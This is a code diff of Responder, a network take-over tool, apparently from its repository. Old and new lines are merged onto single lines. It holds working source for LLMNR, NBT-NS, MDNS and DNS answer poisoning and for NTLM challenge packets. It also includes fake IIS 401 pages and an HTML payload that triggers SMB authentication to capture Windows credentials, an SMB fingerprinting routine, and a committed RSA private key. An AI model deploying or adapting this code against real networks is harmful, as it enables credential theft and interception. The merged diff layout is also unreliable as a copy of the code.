# Load Browser Listener # Load Browser Listener
#from servers.Browser import Browser from servers.Browser import Browser
#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
if settings.Config.HTTP_On_Off: if settings.Config.HTTP_On_Off:
from servers.HTTP import HTTP from servers.HTTP import HTTP
@ -347,7 +282,7 @@ def main():
if settings.Config.WPAD_On_Off: if settings.Config.WPAD_On_Off:
from servers.HTTP_Proxy import HTTP_Proxy from servers.HTTP_Proxy import HTTP_Proxy
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,)))
if settings.Config.ProxyAuth_On_Off: if settings.Config.ProxyAuth_On_Off:
from servers.Proxy_Auth import Proxy_Auth from servers.Proxy_Auth import Proxy_Auth
@ -363,12 +298,6 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
if settings.Config.QUIC_On_Off:
from servers.QUIC import start_quic_server
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
if settings.Config.Krb_On_Off: if settings.Config.Krb_On_Off:
from servers.Kerberos import KerbTCP, KerbUDP from servers.Kerberos import KerbTCP, KerbUDP
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,))) threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
@ -390,13 +319,8 @@ def main():
if settings.Config.LDAP_On_Off: if settings.Config.LDAP_On_Off:
from servers.LDAP import LDAP, CLDAP from servers.LDAP import LDAP, CLDAP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,)))
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,))) threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
if settings.Config.MQTT_On_Off:
from servers.MQTT import MQTT
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,)))
if settings.Config.SMTP_On_Off: if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP from servers.SMTP import ESMTP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,)))
@ -411,23 +335,19 @@ def main():
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,))) threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
if settings.Config.SNMP_On_Off:
from servers.SNMP import SNMP
threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))
for thread in threads: for thread in threads:
thread.daemon = True thread.setDaemon(True)
thread.start() thread.start()
print(color('\n[+]', 2, 1) + " Listening for events...\n")
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
if settings.Config.Quiet_Mode:
print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
if settings.Config.DHCP_On_Off: if settings.Config.DHCP_On_Off:
from poisoners.DHCP import DHCP from poisoners.DHCP import DHCP
DHCP(settings.Config.DHCP_DNS) DHCP()
while True: while True:
time.sleep(1) time.sleep(1)

4
certs/gen-self-signed-cert.sh Executable file → Normal file
View file

@ -1,3 +1,3 @@
#!/bin/bash #!/bin/bash
openssl genrsa -out certs/responder.key 2048 openssl genrsa -out responder.key 2048
openssl req -new -x509 -days 3650 -key certs/responder.key -out certs/responder.crt -subj "/" openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"

18
certs/responder.crt Normal file
View file

@ -0,0 +1,18 @@
-----BEGIN CERTIFICATE-----
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
iKqwycWcwlFFUDbwBuOyfbfwjtUf
-----END CERTIFICATE-----

27
certs/responder.key Normal file
View file

@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA1b26L/yoivl27/24RkAZYG/XlaiBQ7Uz3dGZSzToUbh0VG8N
1wt6t4D3q30hPQDXhVCnx6UlFAOQFOIYzEgTF9YlFUfjioM0ynMxOJACXtWSaYgf
E1OhQWqUMDj7/TOOtwTkEPJX5l/hFnq0/l54jBQJsX/BUu3uP1eyWW6J+7lNfH3O
h/CsVWjQhDN/NkqS9/c1O6kTVRuuSX+DHoyWRJN9BjAuJtthW7aOn/1ktTQZOBzH
Swpcl2Z4D2NInQrgmV9ygUL2KUt3tYBAbFD1dH2Qc/xp76BOKKk4mvN0CQJI2dK+
+/zQKbYobF66gdlQ7kemj+QX/2Ba/1OB/ctNZQIDAQABAoIBAQCzi6i3XroF5ACx
IKSG/plSlSC3qtDLG4/yKXtn3Y25+ARgWNl7Zz0yoLdr6rTdFbP1XQdTgbpf0Y5a
vIKwN2syfsSv16+gTw8tcQ5LwUz8dNOEqr/P8FRpKypIR9YFoCWmQAmE4s5Lywa9
Z15avujsYniyDetLympz8yryTRTDyh+APgZH5uWzzUnJZx588YdhHAPNU8QgpqGY
HFpzoVyNcA16ptk/dW8+kqepBOn6Fx4NSqV+j81UnOTRhRCuEW2C4893pb9fqYYf
DrRWxkmgU+Ntq8UJso25QK97K7+pstJTGwRv4dRBtsYAfx+9JyaUmsiuC7xy2sDj
NuoQIw0BAoGBAPW6bMKOYPTmcNPxenjUHdRw7iYRQqL6EjehUFV0fqPayuEdKYre
hQYtr7KYOQOcNpRW8A6/Ki0Qr3OQOMlQQKzpblo2G9uXdVjfkQ4fq7E6RCGWOvGr
779EqwPnzXYuRHIb45oihdzlB5vhKrkYaLRcgqHeJPzghgGrxvkAgav1AoGBAN6t
AO1LI1xQsQ4enRZcchq35ueAvwIW3x48T3UEKBk4OpR1GwGFY/8WlMpONHPaBa8e
oLhHxd3GUZAx0ONRw9erLINJZg2BaGyoajR8xY4nE8lellKJG+enToBP1+ln2kwy
G3PjdhNM9q71UHac6bPlTGy5PZjUdEnltp9QhSWxAoGBAM70f/0sJQSdwJEAZAG3
xJfTtP9ishjJPOaVei8+uhoOf6gxA3fuCWM2vy9PfVVJD77Hqc8BuefSkbJm2SzT
5mS7BTH9OGEtoquDP4wBqHzPcepHuMUp5fXVQ6M6a5UJSqRAUOTUBqIQUuQ6M91I
bYbaEzt4+PXxs2tc3WuBvbSxAoGBAKIDV/BOwgyRvTDbv0mcu3yLH1qCxva7M10p
XlpySsaGrcCEL8D8j5PylxFWsz0zfP08GI3b0rAYchGq3SP3wrkxFvLyvWjIJfUg
2B0WRxq1feT+h/rHPWFfznL3JM3yvNbBgk3gSnGihr0nSYLziepUxDU61gFTWsTF
eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK
jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS
T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM=
-----END RSA PRIVATE KEY-----

66
fingerprint.py Normal file
View file

@ -0,0 +1,66 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import sys
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
try:
if (sys.version_info > (3, 0)):
length = struct.unpack('<H',data[43:45])[0]
packet = NetworkRecvBufferPython2or3(data[47+length:])
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
else:
length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
n = SMBNego(data = str(SMBNegoFingerData()))
n.calculate()
Packet = str(h)+str(n)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x72\x00':
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
s.send(NetworkSendBufferPython2or3(Buffer1))
data = s.recv(2048)
if data[8:10] == b'\x73\x16':
return OsNameClientVersion(data)
except:
print(color("[!] ", 1, 1) +" Fingerprint failed")
return None

View file

@ -1,12 +1,9 @@
import sys import sys
try: try:
from UserDict import DictMixin from UserDict import DictMixin
except ImportError: except ImportError:
from collections import UserDict from collections import UserDict
try: from collections import MutableMapping as DictMixin
from collections import MutableMapping as DictMixin
except ImportError:
from collections.abc import MutableMapping as DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):

335
packets.py Normal file → Executable file
View file

@ -23,7 +23,7 @@ import re
from os import urandom from os import urandom
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
from odict import OrderedDict from odict import OrderedDict
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py). # Packet class handling all packet generation (see odict.py).
class Packet(): class Packet():
@ -52,7 +52,7 @@ class NBT_Ans(Packet):
("NbtName", ""), ("NbtName", ""),
("Type", "\x00\x20"), ("Type", "\x00\x20"),
("Classy", "\x00\x01"), ("Classy", "\x00\x01"),
("TTL", "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior) ("TTL", "\x00\x00\x00\xa5"),
("Len", "\x00\x06"), ("Len", "\x00\x06"),
("Flags1", "\x00\x00"), ("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"), ("IP", "\x00\x00\x00\x00"),
@ -89,100 +89,7 @@ class DNS_Ans(Packet):
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton() self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# DNS Answer Packet OPT
class DNS_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_AnsOPT(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
("OPTName", "\x00"),
("OPTType", "\x00\x29"),
("OPTUDPSize", "\x10\x00"),
("OPTRCode", "\x00"),
("OPTEDNSVersion", "\x00"),
("OPTLen", "\x00\x00"),# Hardcoded since it's fixed to 0 in this case.
("OPTStr", "\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet): class DNS_SRV_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Tid", ""), ("Tid", ""),
@ -215,7 +122,7 @@ class DNS_SRV_Ans(Packet):
def calculate(self,data): def calculate(self,data):
self.fields["Tid"] = data[0:2] self.fields["Tid"] = data[0:2]
DNSName = ''.join(data[12:].split('\x00')[:1]) DNSName = ''.join(data[12:].split('\x00')[:1])
SplitFQDN = re.split(r'\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
#What's the question? we need it first to calc all other len. #What's the question? we need it first to calc all other len.
self.fields["QuestionName"] = DNSName self.fields["QuestionName"] = DNSName
@ -263,7 +170,7 @@ class LLMNR_Ans(Packet):
("AnswerNameNull", "\x00"), ("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"), ("Type1", "\x00\x01"),
("Class1", "\x00\x01"), ("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior) ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"), ("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"), ("IP", "\x00\x00\x00\x00"),
]) ])
@ -274,35 +181,6 @@ class LLMNR_Ans(Packet):
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
class LLMNR6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior).
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet # MDNS Answer Packet
class MDNS_Ans(Packet): class MDNS_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -316,35 +194,12 @@ class MDNS_Ans(Packet):
("AnswerNameNull", "\x00"), ("AnswerNameNull", "\x00"),
("Type", "\x00\x01"), ("Type", "\x00\x01"),
("Class", "\x00\x01"), ("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior) ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"), ("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"), ("IP", "\x00\x00\x00\x00"),
]) ])
def calculate(self): def calculate(self):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# MDNS6 Answer Packet
class MDNS6_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ###################### ################### DHCP SRV ######################
@ -359,13 +214,13 @@ class NTLM_Challenge(Packet):
("TargetNameLen", "\x06\x00"), ("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"), ("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"), ("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x81\xa2" if settings.Config.NOESS_On_Off else "\x05\x02\x89\xa2"), ("NegoFlags", "\x05\x02\x89\xa2"),
("ServerChallenge", ""), ("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"), ("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"), ("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"), ("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x0a\x00\x7c\x4f\x00\x00\x00\x0f"), ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", settings.Config.Domain), ("TargetNameStr", settings.Config.Domain),
("Av1", "\x02\x00"),#nbt name ("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"), ("Av1Len", "\x06\x00"),
@ -426,59 +281,25 @@ class NTLM_Challenge(Packet):
class IIS_Auth_401_Ans(Packet): class IIS_Auth_401_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"), ("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("Type", "Content-Type: text/html\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("WWW-Auth", "WWW-Authenticate: Negotiate\r\n"), ("Type", "Content-Type: text/html\r\n"),
("WWW-Auth2", "WWW-Authenticate: NTLM\r\n"), ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("Len", "Content-Length: "), ("Len", "Content-Length: 0\r\n"),
("ActualLen", "76"), ("CRLF", "\r\n"),
("CRLF", "\r\n\r\n"),
("Payload", """<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>401 - Unauthorized: Access is denied due to invalid credentials.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>401 - Unauthorized: Access is denied due to invalid credentials.</h2>
<h3>You do not have permission to view this directory or page using the credentials that you supplied.</h3>
</fieldset></div>
</div>
</body>
</html>
"""),
]) ])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
class IIS_Auth_Granted(Packet): class IIS_Auth_Granted(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"), ("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"), ("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"), ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("CRLF", "\r\n\r\n"), ("CRLF", "\r\n\r\n"),
("Payload", ""), ("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
]) ])
def calculate(self): def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"])) self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@ -486,29 +307,22 @@ class IIS_Auth_Granted(Packet):
class IIS_NTLM_Challenge_Ans(Packet): class IIS_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"), ("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"), ("Type", "Content-Type: text/html\r\n"),
("WWWAuth", "WWW-Authenticate: NTLM "), ("WWWAuth", "WWW-Authenticate: NTLM "),
("Payload", ""), ("Payload", ""),
("Payload-CRLF", "\r\n"), ("Payload-CRLF", "\r\n"),
("ContentLen", "Content-Length: "), ("Len", "Content-Length: 0\r\n"),
("ActualLen", "76"), ("CRLF", "\r\n"),
("CRLF", "\r\n\r\n"),
("Payload2", """<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Not Authorized</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Not Authorized</h2>
<hr><p>HTTP Error 401. The requested resource requires user authentication.</p>
</BODY></HTML>
"""),
]) ])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload2"])) def calculate(self,payload):
self.fields["Payload"] = b64encode(payload)
class WinRM_NTLM_Challenge_Ans(Packet): class WinRM_NTLM_Challenge_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "HTTP/1.1 401\r\n"), ("Code", "HTTP/1.1 401 \r\n"),
("WWWAuth", "WWW-Authenticate: Negotiate "), ("WWWAuth", "WWW-Authenticate: Negotiate "),
("Payload", ""), ("Payload", ""),
("Payload-CRLF", "\r\n"), ("Payload-CRLF", "\r\n"),
@ -524,58 +338,27 @@ class WinRM_NTLM_Challenge_Ans(Packet):
class IIS_Basic_401_Ans(Packet): class IIS_Basic_401_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Code", "HTTP/1.1 401 Unauthorized\r\n"), ("Code", "HTTP/1.1 401 Unauthorized\r\n"),
("ServerType", "Server: Microsoft-IIS/10.0\r\n"), ("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
("Type", "Content-Type: text/html\r\n"), ("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
("Len", "Content-Length: "), ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
("ActualLen", "76"), ("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n\r\n"), ("CRLF", "\r\n"),
("Payload", """<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
